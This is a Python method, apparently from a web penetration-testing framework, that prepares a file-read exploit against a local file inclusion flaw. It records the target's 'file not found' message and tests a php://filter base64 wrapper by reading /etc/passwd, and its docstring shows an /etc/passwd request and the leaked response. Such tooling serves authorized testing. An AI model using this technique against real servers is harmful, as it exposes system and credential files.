'This method requires a non existing file, in order to save the error
message and prevent it to leak as the content of a file to the upper
layers.
Example:
- Application behavior:
1- (request) http://host.tld/read.php?file=/etc/passwd
1- (response) "root:x:0:0:root:/root:/bin/bash..."
2- (request) http://host.tld/read.php?file=/tmp/do_not_exist
2- (response) "...The file doesn\'t exist, please try again...\'"
- Before implementing this check, the read method returned "The file
doesn\'t exist, please try again" as if it was the content of the
"/tmp/do_not_exist" file.
- Now, we handle that case and return an empty string.
The second thing we do here is to test if the remote site allows us to
use "php://filter/convert.base64-encode/resource=" for reading files.
This is very helpful for reading non-text files.'

def _init_read(self):

    app_error = self.read(self.NOT_EXISTS_FILE)
    self._file_not_found_str = app_error.replace(self.NOT_EXISTS_FILE, '')
    self._use_base64_wrapper = False
    try:
        response = self._read_with_b64('/etc/passwd')
    except Exception as e:
        msg = 'Not    using    base64    wrapper    for    reading    because    of    exception:    "%s"'
        om.out.debug((msg % e))
    else:
        if (('root:' in response) or ('/bin/' in response)):
            om.out.debug('Using    base64    wrapper    for    reading.')
            self._use_base64_wrapper = True
        else:
            msg = 'Not    using    base64    wrapper    for    reading    because    response    did    not    match    "root:"    or    "/bin/".'
            om.out.debug(msg)
